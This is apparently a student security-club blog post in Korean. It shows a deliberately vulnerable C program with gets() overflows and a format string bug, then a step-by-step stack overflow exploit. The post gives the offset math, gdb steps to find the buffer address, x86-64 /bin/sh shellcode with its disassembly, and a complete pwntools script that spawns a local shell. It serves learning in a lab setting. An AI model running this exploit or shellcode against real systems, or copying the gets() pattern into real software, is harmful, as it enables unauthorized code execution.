본문 바로가기

Layer7/동아리 숙제

BOF로 쉘따기

· Buffer Overflow

   · 버퍼보다 긴 값을 입력해서 쉘 코드를 입력받는다.

 

· C언어 코드

#include <stdio.h>

void setup()
{
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
}

int main(void)
{
	setup();
	
	char buf[0x100];

	printf("What's your name? : ");
	gets(buf); // Buffer Overflow 

	printf("Hello, ");
	printf(buf); // Format String Bug
	printf("!!!\n");

	printf("Last greeting : "); // Buffer Overflow *
	gets(buf);

	return 0;
}

 

쉘 따는 방법
   1. 버퍼값 계산
   2. 버퍼값 입력 (버퍼값 +8(sfp))
   3. 쉘 따기

 

1. 버퍼값 계산

목표: 버퍼를 계산해 RET값 전까지의 길이 구하기

char buf[0x100];

 

buf의 버퍼값은 0x100이다.

버퍼의 구조

[   버퍼   ][ SFP ][ RET ]

- 버퍼: 사용자의 입력값 (여기서는 0x100)

- SFP: Stack Frame Pointer (0x8)

- RET: 다음에 실행시킬 주소값 (0x8)

 

따라서 우리는 RET 전까지인, 버퍼 + SFT : 0x100 + 0x8 = 0x108, 즉 0x108크기의 문자열을 입력하면 된다.

 

2. 버퍼값 입력 (버퍼값 +8(sfp))
pay += "\x48\x31\xFF\x48\x31\xF6\x48\x31\xD2\x48\x31\xC0\x50\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x48\x89\xE7\xB0\x3B\x0F\x05"

 

- Shell 코드 입력

먼저 버퍼 맨 처음에 Shell Code를 입력해준다.

해당 Shell Code는 어셈블리어로 변역하면 아래처럼 된다.

pay = [Shell Code]

어셈블리어 코드 설명

더보기

(어셈블리어 명령어 : https://riemannk.tistory.com/21?category=926837)

xor rdi, rdi : rdi = 0

xor rsi, rsi : rsi = 0

xor rdx, rdx : rdx = 0

xor rax, rax : rax = 0

push rax : Stack = rax

movabs rbx, 0x68732f2f6e6922f : rbx = 0x68732f2f6e6922f(/bin/sh)
    (movabs: mov의 확장형, 더 긴 주소값을 받을 수 있다)

push rbx : Stack = rax, rbx

mov rdi, rsp : rdi = rsp

mov al, 0x3b : al = 0x3b

syscall : 함수 호출

--------> Shell 실행

 

- 남은 부분 A값(쓰레기값)으로 채우기

pay += "A" * (0x108 - len(pay)) # + p64(0x7fffffffe380)

남은 부분(1.) 을 모두 쓰레기 값(A)으로 채워준다.

남은 부분 구하는 공식: 0x108(Buffer + SFP) - Shell Code 길이

pay = [Shell Code][AAAAAAA....A]

 

- RET값에 버퍼의 시작주소 대입해주기

버퍼의 시작 주소 구하기

conn.sendline("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

 

목표) 위 코드를 이용해서 이 값이 어느 공간에 들어있는지 알아본다.

 

(gdb사용법 : https://riemannk.tistory.com/20)

1. 위 코드를 작성

버퍼에 값을 찾기위해 AAAAAAAAA...을 입력해준다. (메모리 보호기법이 꺼져있어서 가능)

2. 위 코드를 실행

pid 확인
attach [pid]

그 후, 두번째 입력을 받고난 직후에 BP를 걸고 (b*[주소])

실행시켜준다. (c)

 

lea rax, [rbp-0x100] : rax 값에 rbp-[0x100](Buffer)를 저장해준다. (첫번째 인자, 입력값)

그러므로 Call gets@plt를 실행시켜 준 뒤, rax값을 확인해주면

0x41: A

0x7ffffffe380이 버퍼의 시작주소라는 것을 알 수 있다.

 

- RET (다음에 시작할 명령어의 주소값)에 버퍼 시작주소 덧씌우기

pay += # "A" * (0x108 - len(pay))
pay += p64(0x7fffffffe380) # 우리가 찾은 버퍼의 첫 시작주소

pay = [Shell Code][AAAAAAA....A][0x7fffffffe380]

 

3. 쉘 따기

쉘 따기에 앞서 지금까지의 내용을 정리해볼려고 한다.

더보기

최종목표: 쉘 코드를 입력하고, RET값을 Buffer의 시작주소로 변조한다.

1. Buffer = 0x100, SFP = 0x8, RET = 0x8

따라서 [쉘코드]+[아무값]  = 0x108

2. RET값을 Buffer의 시작주소로 변조시켜서 Shell Code를 실행시키고, 최종적으로 Shell을 딴다.

 

이제 쉘을 따보자

Exploit코드를 작성한다.

파이썬 Exploit 코드

pwntools 사용법 : https://riemannk.tistory.com/19

from pwn import * # pwntools Import

conn = process("./test", aslr = False) # test의 실행파일 불러오기
e= ELF("./test") # test실행파일에 걸려있는 보호기법 확인

pause() # 일시정지

conn.recvuntil("What's your name? : ") # 해당 문자열 만큼 읽어오기
conn.sendline("riemannk") # riemannk 입력
conn.recvuntil("Last greeting : ") # 해당 문자열 만큼 읽어오기

pay = "" # pay 선언
pay += "\x48\x31\xFF\x48\x31\xF6\x48\x31\xD2\x48\x31\xC0\x50\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x48\x89\xE7\xB0\x3B\x0F\x05"
# pay에 해당 Shell Code 대입
pay += "A" * (0x108 - len(pay)) + p64(0x7fffffffe380)
# pay에 A를 해당 값만큼 입력
# 그후, 해당 주소를 리틀엔디안 방식으로 패킹해서 대입
conn.sendline(pay) # pay값 입력

#conn.sendline("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

conn.interactive() # 상호작용 명령어

 

그 후 그 코드를 실행한다.

쉘 획득 성공!

프로그램이 종료되지 않고, $로 바뀌면서

ls, pwd와 같은 쉘에서만 실행시킬 수 있는 명령어도 쓸 수 있다.

 

더보기

내 컴퓨터 아니라면 아래 명령어를 입력해주자

뇌가 행복해지는 마법의 명령어